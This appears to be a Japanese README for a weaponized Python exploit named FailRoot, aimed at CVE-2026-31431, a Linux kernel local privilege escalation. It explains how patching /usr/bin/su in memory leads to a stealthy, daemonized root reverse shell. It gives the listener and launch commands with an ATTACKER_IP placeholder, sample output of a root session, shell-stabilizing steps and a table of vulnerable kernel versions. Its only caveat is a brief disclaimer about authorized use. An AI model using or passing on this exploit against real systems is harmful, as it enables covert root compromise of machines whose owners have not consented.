
CVE-2026-31431 向けに武器化された Python エクスプロイト。Linux カーネルの権限昇格を連鎖させ、完全な PTY を備えたデーモン化された root リバースシェルを実現し、/usr/bin/su をメモリ内でパッチします。
█▀▀ ▄▀█ █ █ █▀█ █▀█ █▀█ ▀█▀
█▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░
CVE-2026-31431 • Linux Kernel LPE → Root Reverse Shell
FailRoot は、Linuxカーネルの crypto: algif_aead サブシステムにおける領域外書き込みである CVE-2026-31431 を悪用する、実戦向けエクスプロイトです。
権限昇格 と、完全なPTYを備えたデーモン化されたrootリバースシェルを連鎖させます:
AF_ALG + splice() → 4バイトのページキャッシュ書き込み → /usr/bin/su のパッチ → root
エクスプロイト全体は単一ファイルに収まります。コンパイル不要。外部依存関係なし。ディスク上に痕跡なし — su バイナリはメモリ内でのみパッチされます。
algif_aead + authencesn/usr/bin/su のページキャッシュに書き込むpty.spawn("/usr/bin/su") → 完全対話型のroot TTYリバースシェルはターミナルが閉じても生存し(SIGHUP 無視)、ターゲット上では出力を一切表示せず、最大3分間リトライしながら接続します。
# 攻撃者 — リスナーを起動:
nc -lvnp 4444
# ターゲット — エクスプロイトを実行(何も表示されず、即座にデーモン化します):
python3 exploit.py <ATTACKER_IP> 4444
attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234
root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)
Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash
os.splice())/usr/bin/su への読み取りアクセス(全ディストリビューションでワールドリーダブル)algif_aead と authencesn が利用可能sudo は不要認可されたセキュリティ研究および教育目的のみに使用してください。不正使用は違法です。
| 開始バージョン | 終了バージョン(排他的) |
|---|
| 4.14 | 5.10.254 |
| 5.11 | 5.15.204 |
| 5.16 | 6.1.170 |
| 6.2 | 6.6.137 |
| 6.7 | 6.12.85 |
| 6.13 | 6.18.22 |
| 6.19 | 6.19.12 |
| 7.0 | rc1–rc6 |